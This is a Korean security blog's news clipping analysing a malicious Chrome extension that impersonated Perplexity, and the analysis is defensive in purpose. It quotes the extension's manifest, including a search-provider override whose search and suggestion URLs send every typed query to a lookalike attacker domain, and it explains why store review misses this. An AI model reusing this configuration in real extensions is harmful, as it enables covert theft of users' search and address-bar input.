히큐리티(Hecurity)
[2026-06-30] Perplexity 크롬 확장 프로그램 사칭 악성코드, 검색과 주소창 입력 탈취 본문
오늘의 뉴스클리핑의 이슈는 바로 Perplexity 크롬 확장 프로그램 사칭 악성코드, 검색과 주소창 입력 탈취입니다 - !

Perplexity 크롬 확장 프로그램 사칭 악성코드, 검색과 주소창 입력 탈취
Microsoft Defender 연구팀은 AI 검색엔진 Perplexity로 위장한 악성 Chrome 확장 프로그램 Search for perplexity ai(확장 ID: flkebkiofojicogddingbdmcmkpbplcd)를 발견했다. 이 확장 프로그램은 perplexity-ai[.]online이라는 유사 도메인을 사용해 정상 서비스인 perplexity.ai를 사칭했으며, 설치되면 브라우저의 기본 검색엔진으로 스스로를 등록했다. 사용자가 검색어를 입력하거나 주소창에 텍스트를 입력할 때마다 그 내용이 먼저 공격자가 통제하는 서버로 전송되어 IP 주소, 브라우저 헤더, User-Agent 등과 함께 로깅된 뒤, 정상 검색 결과(Perplexity, Google, Bing 등)로 리다이렉트되어 사용자는 이상을 느끼지 못했다. Microsoft는 책임 있는 공개(responsible disclosure) 절차를 거쳐 Google이 해당 확장 프로그램을 스토어에서 제거했다고 밝혔으며, 비밀번호 탈취의 증거는 발견되지 않았으나 검색 기능에 비해 과도한 권한과 데이터 수집 행위가 확인되었다고 설명했다.
공격과정 1 (초기 침투)
공격자는 Google Chrome 웹 스토어에 정상 AI 검색 서비스인 Perplexity를 사칭한 확장 프로그램을 등록하여 배포하였다. 이 확장 프로그램은 manifest.json 내 chrome_settings_overrides 항목을 사용하여 설치 시 자신을 브라우저의 기본 검색 제공자로 설정하였다. 이 항목은 Chrome이 공식적으로 제공하는 매니페스트 API로, 정상 검색엔진 확장(예: DuckDuckGo, Ecosia 확장)도 동일하게 사용하는 합법적 기능이다. 다만 이 API는 등록되는 검색 도메인이 실제로 신뢰할 수 있는 서비스의 도메인인지를 자동으로 검증하지 않으며, Chrome 웹 스토어의 심사 과정 역시 검색엔진을 등록하는 평범한 확장이라는 형식적 동작만 확인할 뿐 search_url에 입력된 도메인의 진위는 별도로 검증하지 않는다는 구조적 빈틈이 존재한다. 공격자는 이 빈틈을 이용해 search_url과 suggest_url에 자신이 소유한 perplexity-ai[.]online이라는 유사 도메인을 등록하였으며, 이 도메인은 실제 Perplexity 도메인과 시각적으로 유사하게 구성되어 사용자나 보안 점검 과정에서 식별이 어렵게 만들어졌다. 동시에 declarativeNetRequest 권한을 요청하여 네트워크 요청을 규칙 기반으로 가로채고 재작성할 수 있는 능력을 추가로 확보하였다. 이 권한은 확장이 임의 코드로 요청을 직접 가로채는 방식이 아니라, 미리 등록한 규칙을 Chrome 자체가 처리하는 선언적 방식으로 동작하기 때문에, 정적 코드 분석만으로는 등록된 규칙이 악성인지 정상인지 의미적으로 판별하기 어렵다는 한계가 있다. 결과적으로 사용자가 주소창이나 검색창에 검색어를 입력하면, 해당 입력값은 정상 검색엔진이 아닌 공격자 서버로 우선 전송되도록 구성되었으며, Chrome의 실시간 검색 제안 기능에 사용되는 suggest_url 값까지 동일한 공격자 도메인으로 지정됨으로써 사용자가 엔터키를 누르기 전 입력하는 모든 글자가 실시간으로 외부 서버에 전송되도록 구성되었다.
공격과정 2 (후속 공격 및 데이터 유출)
사용자의 검색어와 주소창 입력 내용이 공격자 서버에 도달하면, 해당 서버는 요청을 로깅하면서 동시에 발신자의 IP 주소, 브라우저 헤더, User-Agent 정보를 함께 수집하였다. 이 시점에서 HTTPS는 클라이언트와 목적지 서버 사이의 전송 구간만 암호화하므로, 제3자의 도청은 방지되지만 요청을 직접 수신하는 공격자 서버 자신에게는 쿼리 파라미터에 담긴 검색어가 평문으로 그대로 노출된다. 이후 사전 설정된 리다이렉트 규칙에 따라 사용자를 실제 검색 결과 페이지로 즉시 이동시켜, 사용자 입장에서는 정상적인 검색이 수행된 것처럼 보이도록 은폐하였다. 실제 정보 유출은 이 첫 번째 경유 단계에서 이미 완료된 상태였으며, 리다이렉트는 탐지를 회피하기 위한 위장 절차에 불과했다. 확장 프로그램 내부에는 Google과 Bing을 대상으로 한 동일한 방식의 리다이렉트 규칙도 비활성화 상태로 미리 포함되어 있어, 공격자가 필요에 따라 공격 대상 검색엔진을 추가로 확장할 수 있는 구조였다. 또한 코드 내에는 향후 WebAssembly 코드를 실행할 수 있는 여지가 마련되어 있어, 단순 데이터 수집을 넘어선 추가 기능 확장 가능성도 존재했던 것으로 분석된다.

기본 메타데이터
"update_url": "https://clients2.google.com/service/update2/crx",
"version": "2.2",
"manifest_version": 3,
- update_url: Chrome 웹 스토어에 정식 등록된 확장임을 나타내는 표준 업데이트 서버 주소(이 확장프로그램이 실제로 스토어 심사를 통과해서 정식 배포됐다는 뜻)
- manifest_version: 3: Chrome의 최신 확장 표준(MV3) 사용
화면 구성
"action": {
"default_popup": "search.html",
"default_icon": "hello_extensions.png"
},
"icons": { "16": ..., "48": ..., "128": ... }
- 사용자가 툴바에서 확장 아이콘을 클릭했을 때 뜨는 팝업창(search.html)과 아이콘들을 정의한 부분
- 정상적인 검색엔진 확장처럼 보이게 만들기 위한 UI 껍데기로, 여기엔 악성 로직은 없음
- default_icon: "hello_extensions.png" : Chrome 공식 샘플 확장에서 흔히 쓰는 기본 아이콘 이름(공식 예제 코드를 베이스로 빠르게 만들었다는 흔적으로 보임)
background.js — 백그라운드 동작의 핵심
"background": {
"service_worker": "background.js"
}
- declarativeNetRequest 규칙 등록, 데이터 로깅 로직 등이 들어있을 것으로 추정되는 파일
- MV3에서는 확장의 백그라운드 로직이 상시 실행되는 게 아니라 이런 service_worker 형태로 동작
- 이 코드에는 background.js의 내용은 안 보이고 파일명만 선언돼 있어서, 실제 가로채기 규칙이나 서버 전송 코드는 이 파일 안에 별도로 구현되어 있을것으로 예상
chrome_settings_overrides
"chrome_settings_overrides": {
"search_provider": {
"name": "Perplexity Search",
"keyword": "perplexity",
"is_default": true,
"encoding": "UTF-8",
"search_url": "https://perplexity-ai.online/search/{searchTerms}",
"favicon_url": "https://perplexity-ai.online/favicon.ico",
"suggest_url": "https://perplexity-ai.online/search?output=firefox&q={searchTerms}"
}
}
- "name": "Perplexity Search" : 사용자에게 보이는 검색엔진 이름을 진짜처럼 표시, 브라우저 설정의 검색엔진 관리 화면에서 사용자가 봐도 Perplexity Search라고만 떠서 의심하기 어려움
- "is_default": true : 설치와 동시에 기본 검색엔진으로 강제 등록
- "search_url": "https://perplexity-ai.online/search/{searchTerms}" : 검색어가 실제로 전송되는 목적지, {searchTerms}는 Chrome이 사용자 입력값을 그대로 치환해 넣는 플레이스홀더
- "suggest_url": "https://perplexity-ai.online/search?output=firefox&q={searchTerms}" : 실시간 타이핑 가로채기, output=firefox파라미터는 검색 제안 응답을 특정 포맷(OpenSearch suggestion 표준)으로 받기 위한 기술적 설정으로, Chrome이 이 포맷을 파싱해서 자동완성 목록을 보여주는 역할
- "favicon_url"까지 자기 도메인으로 지정해서, 주소창이나 검색 결과에 표시되는 아이콘조차 공격자 서버에서 가져오도록 만들어 디테일까지 위장을 완성함
시사점
이번 사례에서 가장 중요한 포착 지점은 브라우저가 외부로 내보내는 네트워크 트래픽의 목적지이다. 평소 사용자가 방문한 적 없는 낯선 도메인, 특히 잘 알려진 서비스명과 유사하지만 철자나 TLD가 다른 도메인으로의 통신 기록이 있다면 이는 우선적으로 의심해야 할 흔적이다. 또한 브라우저의 기본 검색엔진 설정이나 검색 제안 URL이 사용자도 모르게 변경되어 있는지 점검하는 것도 중요한 단서가 된다. 여기서 한 가지 짚어야 할 점은, 확장 프로그램이 사용하는 API(검색엔진 등록, 네트워크 요청 가로채기)는 그 자체로는 광고 차단기나 정상 검색엔진 확장도 똑같이 사용하는 합법적 기능이라는 사실이다. 따라서 이 권한을 쓰는가만으로는 악성 여부를 판단할 수 없고, 그 요청이 최종적으로 향하는 도메인이 누구 소유이며 신뢰할 수 있는지를 따져보는 것이 탐지의 핵심이 된다. 사고 발생 시에는 우선 브라우저의 확장 프로그램 목록과 검색엔진 설정값, 그리고 최근 설치된 확장 프로그램의 네트워크 통신 로그를 추적하여 비정상적인 외부 도메인 접속 여부를 확인하는 것이 핵심적인 초동 대응이 된다.
개인의견
이번 사건은 브라우저 확장 프로그램이 가진 권한 체계가 얼마나 쉽게 악용될 수 있는지를 잘 보여준다. 우선 조직 차원에서 승인된 확장 프로그램만 설치 가능하도록 그룹 정책(ExtensionInstallAllowlist)을 적용하여 임의 설치 자체를 차단했을 것이다. 또한 declarativeNetRequest, 검색 제공자 변경 권한 등 민감한 권한을 요청하는 확장 프로그램에 대해서는 자동 승인이 아닌 별도의 검토 절차를 거치도록 정책을 수립하고, EDR이나 프록시 솔루션을 통해 알려지지 않은 외부 도메인으로의 아웃바운드 트래픽을 모니터링하고 차단하는 체계를 마련했을 것이다. 더불어 브라우저의 기본 검색엔진 설정값을 주기적으로 점검하는 스크립트를 배포하여 사용자도 모르게 설정이 변경되는 경우를 조기에 탐지할 수 있도록 했을 것이다. 근본적으로는 이번 사건처럼 정상 API의 신뢰를 악용한 사칭형 공격이 코드 검수만으로는 걸러지기 어려운 만큼, 신규 설치 요청 시 게시자 정보와 도메인 진위 여부를 검증하는 절차를 보안 인식 교육에 포함시키는 것도 필요하다고 본다.
기사 출처 : https://thehackernews.com/2026/06/malicious-perplexity-chrome-extension.html
Malicious Perplexity Chrome Extension Intercepted Searches and Address Bar Input
Microsoft says a fake Perplexity Chrome extension logged searches, IPs, headers, and address bar input before redirecting users.
thehackernews.com
'뉴스클리핑✂️' 카테고리의 다른 글
| [2026-07-02] Claude Fable 접속 권한 복원 (0) | 2026.07.02 |
|---|---|
| [2026-07-01] 휴대전화 개통 시 안면인증 (0) | 2026.07.01 |
| [2026-06-29] 정상 프로그램으로 위장한 악성코드, GitHub 별점과 유튜브 조회수까지 조작 (0) | 2026.06.29 |
| [2026-06-26] 클로드와 해킹 도구 결합한 공격 (0) | 2026.06.26 |
| [2026-06-25] 카카오페이증권, 번호 검증 없이 개인정보 오발송 (0) | 2026.06.25 |
